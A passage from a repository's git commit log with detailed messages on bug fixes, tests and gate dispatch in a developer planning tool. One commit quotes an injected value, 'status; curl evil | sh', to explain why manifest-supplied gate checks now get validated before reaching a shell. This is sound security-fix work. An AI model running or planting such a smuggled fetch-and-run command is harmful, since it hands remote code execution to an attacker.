actual casing. The exact-case env['PATH'] lookup then returned undefined, the PATH scan saw zero segments, resolution returned null, and the change degraded to precisely the spawn ENOENT it exists to fix. ComSpec and PATHEXT had the same exposure. #3445's tests never caught it because they pass uppercase keys explicitly, and neither did the Linux remote runner — this is a defect only the Windows lane could see. _envGet resolves a variable by exact match first (so a canonical caller pays no scan) and falls back to a case-insensitive sweep. R23 and P16 pin it and were proven RED by execution: with the fix stashed and build:lib re-run, R23 returned null and P16 returned the cmd.exe default. R24 was rewritten because the first version was vacuous — it staged foo.CMD, so the default PATHEXT already contained .CMD and it passed against the broken code for the wrong reason. It now stages foo.XYZ, an extension absent from the default, and carries a negative control asserting that dropping the Pathext key yields null. Re-proven RED the same way. E5's assertion was corrected alongside the fix: 'PATH' in options.env expressed the wrong contract. It now checks case-insensitively for the key. Refs #3411 * fix(#3617): execTool spawns the declared name unless mediation is required The Windows full-test lane on #3621 failed tests/graphify.test.cjs — the python3 identity check asserted 'python3' and got the absolute resolved path C:\hostedtoolcache\windows\Python\3.12.10\x64\python3.EXE instead. Those tests are correct and the change was wrong. They pin a long-standing contract — execTool spawns the program name it was given — by spying on spawnSync's first argument, and routing every win32 call through the projected invocation broke it. Resolving a .exe buys nothing. libuv's CreateProcess path already performs PATH + PATHEXT search, which is why spawning a bare 'node' has always worked on Windows. The only case the OS genuinely cannot spawn is a .cmd/.bat. So execTool now adopts the projection only when mediation actually happened — windowsVerbatimArguments is exactly that flag — and otherwise passes the declared program and args through untouched. 40-design.md already rejected gratuitous change for this reason: symmetry is not worth a behavior change to 53 files that fixes nothing. That reasoning was applied to POSIX and missed the win32 non-batch case. Rows 5 and 20 now record it, and the CONTEXT.md glossary states the caller-choice rule. deps.spawn deliberately still adopts the resolved path: its hasBinary probe answers from the same resolver, so probe and spawn must agree on the exact file (#3445). The asymmetry is now documented at both call sites rather than latent. E7 pins the restored contract and was verified by executing execTool against a monkeypatched spawnSync: python3 in, python3 spawned. Refs #3411 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
bf2332e67c |
fix(#3582): route every hook's compiled-module require through the self-heal build seam (#3629)
* test(3582): failing-first cold-tree coverage and the seam drift lint On a plugin-channel install the compiled gsd-core/bin/lib/*.cjs are legitimately absent (ADR-457 build-at-publish; the npm package builds before publishing, a raw tree materialization never does). gsd-tools.cjs calls ensureRuntimeBuild() before requiring ./lib; no hook does, so the isolation guard's Cannot-find-module lands in its fail-closed catch and is misreported as an unreadable dispatch-isolation configuration, blocking every executor dispatch. These tests fail on that: cold-tree runs of the isolation guard, statusline, cursor guard and update worker, plus the seam's actionable build error surfacing instead of the generic misreport. Also adds the drift lint the acceptance criteria require, with a fixture proving it CAN fail — a guard never shown to fail is worthless. It is red here by design: it flags today's unfixed hooks, which is exactly the defect. * fix(3582): route every hook's compiled-module require through the self-heal seam RED proven at 5b174b0d: 11 failures — the cold-tree runs for the isolation guard, cursor guard and update worker, the fail-closed-with-actionable-message assertion, and the lint's own real-tree check. The compiled runtime library is produced by build:lib and gitignored (ADR-457, build-at-publish). The npm package builds before publishing; a plugin-marketplace or git-clone install materializes the raw tree and never does, so on that channel those modules are legitimately absent. The self-heal seam added by #2002 exists to heal exactly this, and the CLI entrypoint already calls it — no hook did. The isolation guard's Cannot-find-module therefore landed in its fail-closed catch and was reported as 'could not read or resolve dispatch-isolation configuration', so an ARTIFACT ABSENCE was misdiagnosed as an unreadable project config and every executor dispatch was blocked. All SEVEN affected files now call the seam before their first compiled require. The issue named four; a scan found six; implementing it surfaced a seventh — the shared isolation sentinel helper, used by BOTH guards, which requires two compiled modules itself and would have defeated the guards' own fix on a genuinely cold tree. Same defect class, so fixed here rather than left as a known-broken remainder. Failure posture is deliberately split by hook kind: - Gates (agent isolation guard, cursor subagent start) surface the seam's actionable build error distinctly instead of swallowing it into the generic text, and stay fail-closed — a genuinely unreadable project config still DENIES exactly as before. - Cosmetic and detached hooks (statusline, update worker, update check, update banner) DEGRADE rather than crash: the statusline draws on every render and the worker is a detached process, so a build failure there must not take down the prompt. The npm path is untouched: the seam's already-built fast path returns immediately, so prebuilt installs pay nothing and behave bit-for-bit as before. Adds a drift lint, wired into the CI lint chain, so the invariant is enforced rather than remembered — without it the next hook to add a compiled require reintroduces the class silently. It is proven able to fail: a fixture hook requiring a compiled module without the seam is flagged, and one that uses the seam is not. Verified directly — on the unfixed tree it named all seven offenders; with the fix it passes. While writing the lint's comment stripper, a naive whole-text block-comment regex ate its own fixture, because this repo's comments legitimately spell the compiled-lib glob whose star-slash reads as a comment opener. Rewritten as a line-based scanner with a regression test pinning that case. * fix(3582): test the three untested seam call sites and assert typed reason codes Two independent reviews converged on the same major gap: the fix wired the seam into seven files but only four had cold-tree tests. The adversarial pass put it plainly — deleting the shared isolation-sentinel helper's seam call would not have failed any test in the diff. That file was my own addition beyond the issue's four, so it shipped untested; that is now closed. - Shared isolation-sentinel helper: its seam call is only reached when .planning is NOT directly under cwd, and every existing cold-tree fixture puts it there, so the early return always fired first. Now covered, and proven load-bearing by mutation: with the call removed the spy records zero seam invocations and the test fails. - update-check hook and update-banner hook: cold-tree tests added asserting the DEGRADED VERDICT — the fallback cache filename, and silent suppression when the package name degrades to null — rather than merely 'did not throw'. The banner hook previously had no test file at all. Standards violation fixed: two tests asserted on free-form prose via assert.match against a JSON reason string, which CONTRIBUTING bans by name — its own BAD example is exactly that. The ESLint rule only covers readFileSync/spawnSync text, so tooling did not catch it. Both isolation guards now emit a machine-readable reason_code from a frozen enum, following the repo's existing REASON convention, and the tests assert that instead. The human-readable message is unchanged for operators; only the assertion target moved. The duplicated degrade boilerplate across the three cosmetic hooks was deliberately NOT extracted, and the reason is recorded at each site: both viable shapes — a path-parameterized helper, or a ceremony-only wrapper — defeat the drift lint's per-file literal co-occurrence check, so extracting would require the lint to special-case its own helper. Triplication is the lesser evil while the lint stays a co-occurrence scan. The lint's header now states what it does and does not catch (literal quoted requires only; hooks/ scan root), so a future reader does not over-trust a guard that a concatenated path or a require inside a non-hooks helper would evade. * chore(3582): regenerate the committed install-tree fixtures Adding a new shipped hook helper changed the install tree, and those fixtures are committed-and-derived (regen:derived / gen:install-tree), so 12 'install tree — <runtime>' tests failed on 541a1913. Regenerated rather than hand-edited. The delta across all 15 runtime fixtures is exactly two lines — the new helper under both its hooks/ and gsd-hooks/ install paths — and nothing else, so the regeneration pulled in no unrelated drift. This is the bookkeeping ripple a new file under hooks/ carries; it was not visible from lint:ci, which passed both before and after. * chore(3582): backfill changeset PR number (#3629) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
cc3fd4548d |
docs(#2866): reconcile ADR-3574 against the shipped environment (#3622)
The ADR was written mid-epic and describes a tree that no longer exists. There are now two choreographies, not three: phase 6 deleted bin/install.js's agent-staging loop and its _DESCRIPTOR_AGENTS_RUNTIMES gate outright, so the refusal in decision 1 governs a two-way divergence. The ADR's own revisit condition has been met. It said to reopen the unification question when the applySurface descriptor-agents migration completed. It has. Revisited on evidence: the shapes did not converge on the axis that mattered, because phases 6 and 7 touched agents and exports, not the prune. applySurface still prunes by allow-list so it cannot delete a user file by construction; installRuntimeArtifacts still wipes and restores a snapshot. Decision 1 stands, for a narrower and better reason than when it was written. Records delivery status per decision, including that decision 3 was already satisfied when measured and decision 4 was the hardest part rather than the independent one the ADR predicted. Notes that #2875's AC1 is now doubly stale - deliberately unmet, and naming three call sites where two remain - so anyone reconciling the tracker treats this ADR as governing rather than the criterion as outstanding. Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
9de4d67118 |
fix(#3579): a pointer-less session inherits the repo active-workstream marker (#3616)
* test(3579): failing-first coverage for repo-marker inheritance A session that carries an identity but has never run 'workstream use' reads an absent session pointer, resolves null, and composes the flat .planning tree even when .planning/active-workstream names a live workstream. These tests fail on that and pin the invariants the fix must not break: a session with its own pointer is never repointed, and a session that merely lacked a pointer must never clear the shared marker on another session's behalf. * fix(3579): a pointer-less session inherits the repo active-workstream marker RED proven at 157cae26: the three inheritance tests failed while every isolation and negative control passed on base — the gap, and nothing else. pickActiveWorkstreamAdapter returned exactly ONE adapter: the session-scoped one whenever a session key existed, so the shared .planning/active-workstream marker was never consulted. getWorkstreamSessionKey resolves a key from ~13 env vars or the controlling TTY, so on any normal interactive terminal a key almost always exists — which is why a session that had never run 'workstream use' read an absent pointer, resolved null, and composed the FLAT planning tree even though the repo marker named a live workstream. Reads misreported; writes corrupted the superseded flat STATE. Silent, because the stale tree is well-formed. This was a genuine design fork, not an oversight: references/workstream-flag.md documented step 4 as a fallback 'when no session key exists', and the session isolation that buys is deliberate (#2850). The issue's Agent Brief left the choice open and said the reference doc should match whatever semantics ship. The maintainer ruled in chat for inheritance. Resolution now walks an ORDERED chain — session adapter first, shared second — and only a null from the session adapter falls through to the marker. Strictly additive: it can only turn a null into a name, never change a name that already resolves. The dangerous part is clear() ownership. resolveFromChain treats chain[0] as owned: only it is ever cleared, and only under selfHeal (getActiveWorkstream, never peek). An INHERITED marker is read-only — a stale value there resolves null and the file is left alone. Without that, one pointer-less session's read would delete the repo marker for every other session, which is a worse bug than the one being fixed. Covered by a test that asserts the marker still exists on disk after such a read. peekActiveWorkstream inherits but still mutates nothing (#2850 — the statusline draws on every render). references/workstream-flag.md's Resolution Priority is rewritten to match, keeping the session-isolation rationale and noting that inheritance does not weaken it: a session that owns a pointer is never repointed. Fixes #3579 * fix(3579): correct the guard diagnostics and lock the clear-semantics Three review passes; every finding fixed inline. MISSING ACCEPTANCE CRITERION (spec pass). The brief requires refusal diagnostics that distinguish 'marker present but the session lookup missed it' from 'no workstream set at all', and the two workstream-mode fail-safe guards were byte-for-byte untouched — still emitting a generic 'no active workstream is set' even when a marker exists and merely names a missing directory. Both guards (cmdPhaseComplete, cmdInitProgress) now branch on a new read-only diagnoseUnresolvedActiveWorkstream, which reuses the SAME resolvesToExistingWorkstream predicate resolveFromChain uses, so the diagnosis and the resolution cannot disagree. Two typed reasons added to ERROR_REASON; both arms still refuse — the fail-closed behavior is unchanged, only the message is now true. REAL TEST FAILURE, not a flake. The remote run failed 'clearing one session does not clear another session pointer'. That describe uses before() rather than beforeEach, so one tmpDir is shared and an earlier test writes active-workstream=beta into it; under inheritance the just-cleared session picks that marker up and resolves beta instead of null. The failure is a CORRECT consequence of Option A surfaced through an order-dependent fixture. The test now establishes its own marker state explicitly — its real intent (clearing A must not disturb B's pointer) is preserved and not weakened — and a new test pins the semantic deliberately: clearing a session pointer returns that session to INHERITING the marker, it does not force flat mode. Documented in references/workstream-flag.md, including how to actually get flat behavior. Also from review: partial activeWorkstreamAdapters injection no longer silently synthesizes a REAL filesystem adapter for the missing half (a latent test-isolation trap); the duplicated validate-then-existsSync logic is factored into one predicate; and the two try/finally test bodies are converted to t.after per CONTRIBUTING. New coverage: whitespace/empty shared marker; a session whose OWN pointer is stale while the marker names a different valid workstream (must self-heal to null, never inherit — the isolation guarantee at its sharpest); and both new diagnostic arms asserted on structured --json-errors output rather than prose. * fix(3579): read resolvability with the non-mutating peek, not the self-healing resolver Three of our own new tests failed on 7f5e706a. All three had ONE root cause, and none was fixed by relaxing an assertion. gsd-tools.cjs's bootstrap called the MUTATING getActiveWorkstream unconditionally on every invocation, purely to populate routing env. On an unresolvable pointer that self-healed — cleared it — BEFORE the dispatched command ran its own resolution. A second read in the same process then observed already-cleared state: - Isolation violation: a session whose own pointer was stale had it cleared by the bootstrap, so cmdWorkstreamGet's own resolution found a pointer-LESS session and inherited the shared marker ('beta' instead of null). Exactly the guarantee #2850 exists to protect, defeated across two calls rather than within one. - Guard diagnostics: the guards' own truthiness check also used the mutating resolver, so it cleared the invalid marker and the immediately-following read-only diagnosis found nothing and reported none_active instead of marker_unresolved. So a single invocation's answer depended on how many times it resolved. The bootstrap self-heal is PRE-EXISTING and was harmless while pointer-less meant flat — inheritance is what made it answer-changing, so this fix belongs here. Every call site that only CHECKS resolvability — the bootstrap, both fail-safe guards' truthiness check, and two informational init report fields — now uses the non-mutating peekActiveWorkstream. Self-heal is unchanged in active-workstream-store and still fires exactly once, at whichever site actually consumes the workstream. Verified by driving the real CLI against temp fixtures, since the suite cannot run locally: stale-own-pointer resolves null with the marker intact; both guard arms report marker_unresolved with missing_workstream_dir / invalid_name and the marker survives; no-marker still reports none_active; identity-less self-heal still deletes an invalid marker byte-identically to pre-#3579; and a session with a valid own pointer still wins. * chore(3579): backfill changeset PR number (#3616) * test(3579): kill the surviving mutants in the new resolution code CI's Stryker gate failed: active-workstream-store scored 79.45% against a break threshold of 80 — 259 killed, 67 survived, at 'Ran 1.00 tests per mutant on average'. The survivors cluster in the code this PR added (pickActiveWorkstreamAdapterChain, resolvesToExistingWorkstream, resolveFromChain, diagnoseUnresolvedActiveWorkstream): the CLI-level tests exercise those paths but do not DISCRIMINATE their branches, which is precisely what a surviving mutant means. Raised by strengthening assertions, never by touching the threshold. 21 unit tests added to the existing unit suite, each written to fail under a specific named mutant, using the module's injected adapter seams and createMemoryPointerAdapter so they stay hermetic under Stryker's per-mutant reruns: - chain shape with and without a session key, asserting length AND element identity (kills the if(false), the ': []' array mutant, and the block removal) - partial adapter injection, asserting the missing half is an inert memory adapter that never touches the filesystem (kills the three '??' -> '&&' mutants) - both arms of '!name || !validateWorkstreamName(name)' as SEPARATE tests — an absent name and a non-empty invalid one — which is what kills the '||' -> '&&' mutant - self-heal discrimination: getActiveWorkstream must clear an unresolvable owned pointer and peekActiveWorkstream must not, asserted on adapter state after each (kills if(selfHeal) -> if(true)) - fallback arm both ways: a fallback that resolves and one that does not - diagnoseUnresolvedActiveWorkstream asserted as a full object per case, with the reason strings compared exactly (kills present:true -> false and both StringLiteral mutants) One mutant is deliberately left: 'if (chain.length === 0)' -> 'if (false)'. The branch is structurally unreachable — the only chain source always returns a 1- or 2-element array literal — and resolveFromChain is not exported. Killing it would mean exporting an internal or deleting a defensive guard; neither is worth doing for a mutant, and the score clears 80 without it. Recorded here rather than left unexplained. Every new assertion was evaluated against the built module with real fixtures before committing, since the suite cannot run locally. --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
682eaae3f0 |
enh(#2876): retire the dead and pass-through exports from bin/install.js (#3615)
* enh(#2876): retire the dead and pass-through exports from bin/install.js The installer exported 197 names and had zero production consumers - every non-test require of it repo-wide sits inside a comment. Its interface was shaped by test access, not by callers. Removes 9 dead exports and 61 pass-throughs, repointing their tests onto the extracted modules' own interfaces. 197 down to 127. Every count in the issue was wrong: 197 exports not 188, 9 dead not 12, 61 pass-throughs not 49, 44 test files not 42 - and the audit itself then missed 7 more consumer files. restoreUserArtifacts was on the dead list but ceased to exist in phase 6, and two _GSD_EFFORT_MANIFEST_* names listed as dead are now genuinely asserted, so acting on that list would have deleted live exports. 7 of the 9 dead names collide with an independent declaration that install.js delegates TO. Each removal was justified by which declaration a reference resolves to, never by whether the name appears somewhere. Coverage parity was the gate rather than test greenness: per-file counts were captured before any edit and diffed after. 44 of 45 files are byte-identical; the single delta is one added assertion, not a loss. The sweep for scattered require sites found two forms static grep misses - require(VARIABLE) and multi-line require() - plus tests asserting that install.js re-exports the SAME object, which now assert retirement instead. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2876): close review findings — restore the duplicate-body guard, sweep orphaned code Both review engines found real defects in the first cut. The DEFECT.GENERATIVE-FIX single-owner guard from #1511 had been repointed from a reference-identity check to install.X === undefined. Those are not equivalent: the guard exists to catch a duplicate function body reintroduced into install.js, and the replacement passes cleanly if that duplicate is used internally and never exported. It now walks bin/install.js's real top-level bindings, so it catches a duplicate under either shape, exported or not - strictly stronger than the check it replaced. Proved by injecting a duplicate and watching it go red. That weakening survived the coverage-parity gate because the assertion count never moved. The gate compares counts, so an assertion that changes meaning rather than number is invisible to it. Removing the exports had orphaned their wrapper bodies: 14 dead wrappers, 9 consts and 9 destructure entries, several pre-existing and found by the same sweep. Dead code left in the file this phase exists to shrink. Three more comments claimed re-exports this phase removed, and tests were reading Cursor and Windsurf hook constants from install.js's local copy while calling functions from the hooks surface - equal today, with nothing holding them equal. The local consts now reference the owning module. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#2876): backfill changeset pr number Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
bcefffc132 |
fix(#3578): derive milestone status from phase counters, not phase-completion prose (#3614)
* test(3578): failing-first coverage for milestone status on partial completion Completing phase 2 of a 4-phase milestone sets frontmatter status: completed while the same call correctly writes completed_phases: 2 / total_phases: 4. These tests fail on that conflation and pin the boundary either side of it (3-of-4 must not complete, 4-of-4 must), plus milestone_name byte-identity and the 1-of-1 case that legitimately does complete. * fix(3578): derive milestone status from phase counters, not phase-completion prose RED proven at 253843b4 (tests-only): the 2-of-4 and 3-of-4 cases failed while the 4-of-4, milestone_name and 1-of-1 controls passed — the conflation, and nothing else. state complete-phase writes body prose `Phase N complete`. normalizeStateStatus matches 'complete' as a case-insensitive SUBSTRING, so phase-level prose collapsed into milestone-level frontmatter status: completed — even while the same call correctly derived completed_phases: 2 / total_phases: 4 / percent: 50. Check ORDER is why the sibling surface stays correct: completePhaseCore writes 'Ready to plan' for non-final phases, hitting the 'planning' arm before 'complete'. The two phase-completion surfaces disagreed and this was the conflated one — a violation of ADR-2207, which gives milestone termination solely to milestoneCompleteCore. buildStateFrontmatter now honors a 'completed' normalization from phase-completion prose only when the counters it already derived agree. Scoped deliberately: - anchored to bare `Phase <token> complete`, so 'All phases complete' and '<version> milestone complete' are untouched (both out of scope). Verified by executing the guard's own regex from source against both forms. - gated on counter trustworthiness (COMPLETE disk scope, finite counts, positive denominator) so an unknown scope withholds rather than guessing 'not complete', which would be the mirror-image bug - normalizeStateStatus itself is NOT modified — it feeds every state.* write and the read path A 1-of-1 milestone still yields 'completed' by the rule, not by exemption, so the #1255 pinning test stays green on its merits. Fixes #3578 * fix(3578): gate the guard on milestone boundedness and close the review gaps Review findings from two orthogonal passes, all fixed inline. GUARD (correctness, from the standards pass): the guard omitted `milestoneUnbounded`, which is the established trust authority for these very counters in this same function — it nulls progressPercent at :2286 and gates the prose fallback at :2294. An unbounded milestone yields a conflated/understated total, so `completedPhases < totalPhases` could be an artifact of a bad denominator and demote a genuinely-complete milestone. Now gated. TESTS: - Prose/guard parity assertion. The guard regex-matches prose emitted from a DIFFERENT file; if that prose drifts the guard silently stops firing and the bug returns undetected. Per the repo's generative-fix-divergence rule, a test now asserts the emitted body Status still matches the guard's pattern — asserting the emitted value against the pattern rather than duplicating the string. - limit+1: completedPhases > totalPhases must NOT fire; inconsistent counters fall through rather than guessing. - Untrustworthy counters (no phases dir → totalPhases null) must NOT fire. - AC4: MCP invoke-command dispatch parity via handleMessage, the criterion both reviewers independently flagged as asserted-but-untested. - Hand-rolled STATE.md writes routed through the existing writeState fixture helper. The adversarial pass independently verified, by reading rather than trusting the diff's own comments, that: paused/stopped short-circuit before 'completed' so a paused milestone can never be clobbered; only cmdStateCompletePhase emits the targeted prose, so no sibling caller over-fires; the counters come from a fresh disk scan independent of this write, so there is no pre/post off-by-one; and the #1255 pinning fixture creates no phases dir, leaving completedPhases null and the guard inert — so that test is provably unaffected rather than assumed to be. * chore(3578): add changeset fragment * chore(3578): backfill changeset PR number (#3614) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
b42cb4fb29 |
fix(#3597): count scenario expectation failures in the QA gate, and fix the workstream scope split it exposed (#3607)
* fix(#3597): count scenario expectation failures in the QA ratchet gate buildReport counts totals.violations as oracle violations PLUS scenario expectFailures, but collectFindings read only step.violations. A scenario whose declared expect failed therefore produced ok:false and violations:1 in the report while the ratchet printed "0 violations" and exited 0. multi-workstream has failed that way on every CI run since 2026-08-10, when #3217 (PR #3318) made computeProgressPercent withhold a percentage whose scope is not COMPLETE. The walk detected the change the day it landed; nothing was listening. - collectFindings returns a third bucket, expectationFailures, carrying no fingerprint so it can never be baselined or acked away - both modes of main() print and gate on it; the summary line reports it - guard runMain(main) behind require.main === module, so the QA suite can require the script to test collectFindings without running a real walk (that import side effect is why the gate logic had no test) - multi-workstream now asserts the true contract: phase_scope unreadable and percent null, per ADR-3180 7.6 rule 4 - the perturbation test asserts scenario ok, closing the test-side half Closes #3597 * fix(#3597): resolve the milestone window against the active workstream listMilestonePhaseDirs defaulted its ws option to null. planningDir treats undefined as "resolve the ambient workstream" and null as "force the project root", so that default suppressed the ambient resolution every other planning-path read uses. All 18 call sites derive phasesDir ambiently via planningPaths(cwd), so the counts came from the workstream while the milestone window came from the root .planning/ROADMAP.md — the exact numerator/denominator scope split ADR-3180 7.6 rule 3 forbids. workstream create migrates that root roadmap away, so the read threw and scope stayed UNREADABLE, and rule 4 then correctly withheld the percentage. Proof: with a workstream tree byte-unchanged, copying its own ROADMAP to the project root flipped --ws alpha progress from phase_scope:unreadable/percent:null to complete/100. This is the defect the loop QA walk was pointing at all along; the scenario expectation is restored to percent:100 rather than bent to match the bug. - pass ws through as undefined so ambient resolution applies - multi-workstream asserts phase_scope complete + percent 100 - regression test in completion-ratio-scope-withholding covers a workstream-only project with no root ROADMAP - replace the vacuous require.main test: runMain defers through a promise, so the in-process timing check passed against the unguarded file too; a child-process spawn now observes the guard for real - tie the oracle-violation test to expectationFailures, and cover the absent-key, multi-scenario and zero-step report shapes in parity - flatten scenario-authored strings before rendering them into the step summary and CI logs (forged markdown / ANSI injection) - widen the scenario contract assertions past perturbation-* so multi-workstream is actually covered test-side Closes #3597 * fix(#3597): flatten scenario-authored strings on the CI-log output path The step-summary path already routed findings through flattenUntrusted; the check-mode NEW-smell and STALE-entry console.error blocks, and the repro line in both printers, still interpolated raw. detail carries a scenario-authored expect[].path verbatim, and reason/scenario/id come from contributor-authored baseline and ack fragments validated only as non-empty strings. A crafted path could print a forged summary line into the CI log directly above the real one, plus ANSI repaint and unbounded length. Exit codes are unaffected — this is log spoofing, not gate bypass. * fix(#3597): refuse to archive on an unreadable milestone window; close review gaps Resolving the milestone window against the active workstream can leave the window UNREADABLE when that workstream has no ROADMAP of its own. getMilestonePhaseFilter throws, the window degrades to a pass-all fallback, and milestone complete would then move every phase dir -- breaking the guarantee stated at the archive site that no out-of-window directory is touched. milestone complete now refuses to archive when the window is UNREADABLE and reports the refusal; --dry-run previews the same refusal from the same shared derivation. The guard is scoped to UNREADABLE, not to every non-COMPLETE scope. A broader condition regressed ordinary root projects: the QA walk caught milestone-rollover leaving 01-parser on disk, which then tripped the #1447 abort in phases clear. UNSCOPED and TRUNCATED are pre-existing classifications and keep their existing behavior. Review fixes: - the workstream regression test asserted complete/100 but its fixture wrote no workstream STATE.md, so it resolved unscoped/null and the test failed; it now asserts a milestone and genuinely fails-first - the parity test hand-supplied totals.violations, hardcoding the very formula under test; at least one case now goes through the real buildReport - drop a vacuous qa-report.json assertion (jsonOut defaults to null, so no report is written by either shape) - buildRepro emitted a repo-relative binary path after cd-ing into a temp project, so every repro died with MODULE_NOT_FOUND; it now resolves an absolute path - flattenUntrusted truncated the repro to 300 chars, handing reviewers a command that looks complete and is not; length capping is now opt-out for repro while newline/control/backtick stripping still applies * chore(#3597): backfill changeset pr number (#3607) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
fe64704ace |
enhance(#3588): add an opt-in commit_docs pre-commit hook (#3609)
* feat(#3588): add an opt-in commit_docs pre-commit hook Final phase of epic #2292, scope narrowed to opt-in by maintainer decision: default-on installation and the bin/install.js wiring it would have required are explicitly out of scope. Enabling is an explicit verb call. The hook is written to the repo's real hooks dir resolved via git rev-parse --git-path hooks, so a linked worktree or submodule whose .git is a FILE works rather than getting a literal .git/hooks path. It refuses rather than overwrite a foreign pre-commit, refuses to delete one it did not write, and refuses outright when core.hooksPath is already set -- a written-but-ignored hook is worse than a refusal. Ownership is detected by marker presence, not byte-equality, so a user who appends a line does not make it unrecognizable. Deliberately NOT included: teaching cmdCheckCommit the per-phase commit_docs tier. #3587 was still unmerged when this landed, and implementing precedence against helpers that did not yet exist would have meant a second copy of the resolution chain -- the divergence class this epic has spent three phases fighting. That follows as its own change now that #3587 is on next. The ordering constraint is recorded in the design doc: this must not merge before #3587, or the hook would block a commit cmdCommit itself allows. * fix(#3588): teach the commit_docs guard the per-phase tier and -z paths Part 1, deferred until #3587 merged. cmdCheckCommit read only project-level commit_docs, so once #3587 landed, a phase with phase_commit_docs true under project false was ALLOWED by query commit and BLOCKED by this guard -- and the hook shipped in this same branch shells out to it. It now derives the staged phase via the single-owner detectPhaseNumberFromFiles and resolves through #3587's own resolveCommitDocsPolicy rather than a second precedence copy. Also fixes a proven false negative in the harm direction. git diff --cached --name-only C-style-quotes any path with non-ASCII or special characters, so a staged .planning/cafe.md was emitted as a quoted string, failed startsWith('.planning/'), and slipped past the guard entirely under commit_docs:false. Reading with -z and splitting on NUL removes the quoting at the source. The f.startsWith('.planning\\') branch was dead code under that read -- git emits /-separated paths on every platform -- and is removed rather than left implying coverage it never provided. The earlier C7 test pinned the buggy behavior as intended; it now asserts the file is detected and the commit refused. Self-caught: the commit-docs-guard verb was wired into the routers by this branch's earlier pass but missing from the top-level help listing. * test(#3588): replace try/finally with t.after, add negative-routing cases Standards review findings. CONTRIBUTING bans try/finally inside a test body outright -- it masks failures -- and B8 used one for worktree cleanup. Now t.after(), assertions unchanged. The new commit-docs-guard command family had zero negative-routing coverage, which CONTRIBUTING requires for any change to command dispatch. B11-B15 cover no subcommand, unknown, empty string, whitespace-only and a flag-shaped value, each asserting non-zero exit, a structured error, no stack trace, and -- the one that matters for a command that writes into a user's repo -- that NO hook is written in any of them. Those tests were verified to fail when routeCommitDocsGuard's else-branch is neutered, so they exercise the routing guard rather than any convenient error path. Also made two error() calls' control flow explicit with a return; they were safe only because error() is typed never two files away. * chore(#3588): backfill changeset pr number to 3609 * test(#3588): skip Windows-unrepresentable fixtures on win32 CI's Windows shards caught two of my own tests: fixtures whose filenames contain a quote and a backslash. Both are illegal on Windows -- backslash is the path separator, quote is invalid on NTFS -- so fixture creation failed before any assertion ran. Test-portability defect, not a production one. Those inputs cannot exist on that platform, so the guard has nothing to detect there. Both now check process.platform FIRST, before any fs or git call, and use t.skip() rather than a bare return -- a bare return registers as a PASS and would hide the gap it is meant to record. Each carries a comment saying the input is unrepresentable rather than unverified, so nobody later re-enables it. No padding added: the cafe.md case already exercises git's C-quoting path on every platform, since non-ASCII names are legal on NTFS. This is exactly the coverage the Linux-only remote matrix cannot provide, which the PR body already stated -- CI's Windows shards are what caught it. --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
fba3b9c24f |
fix(#3559): dispatch every ship:pre capability gate, not two hardcoded capIds (#3608)
* test(3559): failing-first coverage for generic ship:pre gate dispatch ship.md's preflight resolves every active ship:pre gate then enforces exactly two hardcoded capability IDs, so a third-party capability's blocking gate is resolved, evaluable, and silently dropped. These tests fail on that dispatch dead-end and pin the generic evaluator contract the fix will drive. * fix(3559): dispatch every ship:pre gate generically, not two hardcoded capIds ship.md's preflight resolved every active ship:pre gate via render-hooks and then enforced exactly two capability IDs — security and broken-windows. Every other capId, including any third-party capability's blocking gate, was resolved, evaluable, and silently dropped: a phase shipped past its own declared failing gate with nothing evaluated and nothing warned. Preflight now iterates every active kind=="gate" entry in array order, dispatching by check shape through the generic evaluator (gsd_run check predicate, ADR-2008) and honoring each gate's own blocking and onError — the contract execute:wave:post, execute:post and plan:post already implement and references/loop-hook-dispatch.md already specifies. docs/how-to/command-exit-zero-gate.md already documented ship:pre as auto-dispatching, so this restores documented behavior rather than changing it. security and broken-windows are retained verbatim as named specializations INSIDE the loop, so their bespoke fail-closed reads are unchanged and every gate is visited exactly once — no double-enforcement is representable. Also corrects two CONTEXT.md predicates that described the hardcoded shape, and the test file's header note claiming ship:pre has no runnable evaluator (stale since #2008). Fixes #3559 * fix(3559): validate third-party gate checks in-context before any shell use Adversarial + security review of the generic dispatch arm this PR introduces. SECURITY (introduced by this PR): the new every-other-capId arm is the first path on which a THIRD-PARTY capability manifest string reaches a shell at ship:pre — before it, dispatch never left the two first-party arms. gates[].check is not one of the four executable surfaces the install consent prompt discloses (hooks, command modules, mcpServers, reviewer lanes), so a capability can be consented to as declarative-only and still reach a shell here. An unvalidated check.query of 'status; curl evil | sh' would be interpolated straight into a command substitution. The arm now carries the same in-context validation contract loop-hook-dispatch.md already mandates for ref.command, and the predicate arm is specified as a single argv element so an apostrophe cannot close the literal. TESTS: the first-cut regression tests only asserted that the shared loop phrase and the evaluator substrings co-occurred. A partial regression that kept the phrase but deleted the default arm would have passed them. Added a structural assertion that a distinguishable catch-all arm exists, comes after every named branch, and is where the generic evaluator is actually invoked. REFERENCE DRIFT: loop-hook-dispatch.md documented onError as skip/'fail', but the generated registry, all 35 manifest declarations, and all four dispatch sites use skip/halt — 'fail' appears nowhere. Corrected, since this PR newly cites that doc as ship.md's authority. Also notes the named-query arg convention's provenance (mirrors verify:pre verbatim; no capability declares a ship:pre query gate today). * fix(3559): close the same gate-check injection at all four sibling dispatch sites Maintainer directed fixing the sibling sites inline rather than filing them. The command-injection surface fixed at ship:pre is a FAMILY property, not a site property: every workflow that interpolates a manifest-supplied check.query into a shell command substitution has it. Root cause is in the contract, not the sites — references/loop-hook-dispatch.md mandates in-context validation for step -> ref.command and OMITS the same requirement for gate, so all four gate consumers inherited an unstated rule. Closed at the source (the reference's gate section now carries the rule) and at every consumer: execute-phase.md execute:wave:post, execute:post plan-phase.md plan:post verify-work.md verify:pre ship.md ship:pre (already hardened in a2d84a77) TESTS: section 6 enumerates the family by DISCOVERY, not by a hardcoded list, so a new 